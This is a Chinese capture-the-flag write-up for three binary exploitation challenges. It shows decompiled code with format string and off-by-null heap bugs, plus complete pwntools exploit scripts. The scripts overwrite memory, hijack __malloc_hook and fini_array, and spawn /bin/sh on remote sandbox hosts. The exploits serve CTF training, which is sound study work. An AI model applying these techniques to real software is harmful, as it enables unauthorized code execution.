目录
Fifth Space-2019-Final-Pwn-pwn5
格式化字符串入门级题目,只需要让地址dword_804C044等于输入值即可。明显把dword_804C044值直接清0比泄露再输入要方便。
- int __cdecl main(int a1)
- {
- unsigned int v1; // eax
- int result; // eax
- int fd; // [esp+0h] [ebp-84h]
- char nptr[16]; // [esp+4h] [ebp-80h] BYREF
- char buf[100]; // [esp+14h] [ebp-70h] BYREF
- unsigned int v6; // [esp+78h] [ebp-Ch]
- int *v7; // [esp+7Ch] [ebp-8h]
-
- v7 = &a1;
- v6 = __readgsdword(0x14u);
- setvbuf(stdout, 0, 2, 0);
- v1 = time(0);
- srand(v1);
- fd = open("/dev/urandom", 0);
- read(fd, &dword_804C044, 4u);
- printf("your name:");
- read(0, buf, 0x63u);
- printf("Hello,");
- printf(buf);
- printf("your passwd:");
- read(0, nptr, 0xFu);
- if ( atoi(nptr) == dword_804C044 )
- {
- puts("ok!!");
- system("/bin/sh");
- }
- else
- {
- puts("fail");
- }
- result = 0;
- if ( __readgsdword(0x14u) != v6 )
- sub_80493D0();
- return result;
- }
所以用直接清零然后再回个车就O了
- from pwn import *
-
- #p = process('./pwn')
- p = remote('challenge-850b764cbe1432ca.sandbox.ctfhub.com', 30435)
- context.log_level = 'debug'
-
-
- pay = b"%12$n000"+p32(0x804c044)
- p.sendlineafter(b"your name:", pay)
-
- p.interactive()
这是个堆题,后台是libc-2.23,这个题用的fastbin需要错位。有show这就比较好办了,直接申请个大块释放再申请回来,show就能得到libc,在edit里用了read_0这里边会在后边加一个\0
- __int64 __fastcall read_0(__int64 a1, int a2)
- {
- unsigned int i; // [rsp+18h] [rbp-28h]
- char buf[24]; // [rsp+20h] [rbp-20h] BYREF
- unsigned __int64 v5; // [rsp+38h] [rbp-8h]
-
- v5 = __readfsqword(0x28u);
- for ( i = 0; (int)i < a2; ++i )
- {
- read(0, buf, 1uLL);
- if ( buf[0] == 10 )
- break;
- *(_BYTE *)(a1 + (int)i) = buf[0];
- }
- *(_BYTE *)((int)i + a1) = 0; //当输入完后会在最后加\0造成off_by_null
- return i;
- }
思路:
- from pwn import *
-
- '''
- patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
- patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
- '''
-
- #p = process('./pwn')
- p = remote('challenge-985dda31a6dcba87.sandbox.ctfhub.com', 34596)
-
- libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
- one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
- libc_start_main_ret = 0x20830
-
- elf = ELF('./pwn')
- context.arch = 'amd64'
- context.log_level = 'debug'
-
- menu = b"Your choice: "
- def add(idx, size):
- p.sendlineafter(menu, b'1')
- p.sendlineafter(b"Give me a book ID: ", str(idx).encode())
- p.sendlineafter(b"how long: ", str(size).encode())
-
- def show(idx):
- p.sendlineafter(menu, b'2')
- p.sendlineafter(b"Which book do you want to show?", str(idx).encode())
-
- def free(idx):
- p.sendlineafter(menu, b'3')
- p.sendlineafter(b"Which one to throw?", str(idx).encode())
-
- def edit(idx, msg):
- p.sendlineafter(menu, b'4')
- p.sendlineafter(b"Which book to write?", str(idx).encode())
- p.sendafter(b"Content: ", msg) #off_by_zero
-
- add(0, 0xf8)
- add(1, 0x68)
- add(2, 0xf8)
- add(3, 0x68)
- #释放大块再申请得到libc
- free(2)
- add(2, 0xf8)
- show(2)
- p.recvuntil(b'Content: ')
- libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x68 - libc_elf.sym['__malloc_hook']
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
-
- #off_by_null 形成向上合并
- free(0) #1, free 0 to unsort
- edit(1, b'A'*0x60+p64(0x170)) #edit #2.pre_size=0x170(#0+#1) #2.head:0x101->0x100
- free(2)
-
- add(0, 0xf8)
- add(4, 0x68) #4==#1 得到重叠块
- add(2, 0xf8)
-
- free(1)
- free(3)
- free(4) #double free, fastbin Attack
-
- add(1, 0x68)
- edit(1, p64(libc_elf.sym['__malloc_hook'] -0x23)+ b'\n')
- add(3, 0x68)
- add(4, 0x68)
- add(5, 0x68)
-
- one_gadget = libc_base + one[3]
- realloc = libc_elf.sym['realloc']
- edit(5, b'\x00'*(3+8) + p64(one_gadget) + p64(realloc)+ b'\n')
-
- add(6,8)
- p.interactive()
又一个printf,这里用scanf读入数据有溢出,scanf读入时输入的0不会被删除,并不影响输入带0的地址。
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char format[64]; // [rsp+10h] [rbp-40h] BYREF
-
- printf("Hola %s bois\n", "sup");
- puts("Give me some inputz: ");
- fflush(_bss_start);
- __isoc99_scanf("%128s", format); //有溢出
- printf(format); //格式化字符串漏洞
- putchar(10);
- fflush(_bss_start);
- return 0;
- }
思路:
- from pwn import *
-
- '''
- patchelf --set-interpreter /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/ld-2.27.so pwn
- patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so pwn
- '''
-
- #p = process("./pwn")
- p = remote('challenge-0eb538c976b7cb23.sandbox.ctfhub.com', 33646)
-
- context.log_level = "debug"
- context.arch = "amd64"
-
- elf = ELF('./pwn')
- libc_elf = ELF('/home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so')
- one = [0x4f365, 0x4f3c2, 0x10a45c]
- libc_start_main_ret = 0x21b97
-
- #gdb.attach(p, "b*0x4006b6")
- #pause()
-
- fini_array = 0x6008c8
-
- pay = b'%55c%10$hhn%17$p'.ljust(16,b'a')+ p64(fini_array) #400600->400637 main scanf(%s) 不影响输入0
- p.sendlineafter(b"Give me some inputz: \n", pay)
-
- p.recvuntil(b'0x')
- libc_base = int(p.recv(12), 16) - libc_start_main_ret
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
-
- pop_rdi = 0x0000000000400733 # pop rdi ; ret
- #bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
- #system = libc_elf.sym['system']
- bin_sh = libc_base + 0x1b3e9a #0x1b40fa #remote 3ubuntu1 local 3ubuntu1.2
- system = libc_base + 0x4f440 #0x4f4e0
- p.sendlineafter(b"Give me some inputz: \n", b'A'*64+ flat(0,pop_rdi+1, pop_rdi,bin_sh,system))
-
- p.interactive()
这里有个坑,一般常见的docker用的版本libc-2.27,用libc_start_main_ret得到的libc在3ubuntu0,3ubuntu1,3ubuntu1.2这几个是相同的,但bin_sh和system的偏移却不同。这里的用的是3ubuntu1